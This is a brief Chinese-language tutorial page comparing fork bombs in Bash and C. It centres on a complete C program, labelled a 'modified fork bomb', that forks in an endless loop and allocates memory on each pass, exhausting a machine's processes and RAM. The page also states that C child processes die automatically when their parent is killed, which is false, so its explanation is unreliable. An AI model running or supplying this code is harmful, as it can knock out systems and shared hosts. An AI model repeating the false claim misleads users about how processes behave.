C 與 BASH C/C++ 中的 Fork 炸彈?


BASH fork 炸彈明顯比其 C 程式版本功能更強大。主要原因在於 BASH 中,所建立的程序會與父程序分離。如果父程序(我們最初啟動的程序)被銷燬或終止,其餘程序將繼續存在。但對於 C 實現,如果父程序被銷燬或終止,列出的子程序會自動死亡。指令碼負責直接與系統通訊。

C 中的 fork 炸彈程式可以更新或修改。我們能夠在建立 fork 程序時為程式分配記憶體。

將以下程式視為修改後的 C fork 炸彈實現 −

// Modified fork bomb
#include <unistd.h>
#include <malloc.h>
int main(){
   // Infinite loop
   while (1){
      // Generating child fork processes
      fork();
      // Allocating memory in RAM
      int *p1 = (int *) malloc (sizeof (int) * 100000);
   }
}

更新於:2020-01-29

358 次瀏覽

開啟你的職業生涯

完成課程即可獲得認證

開始
廣告
© . All rights reserved.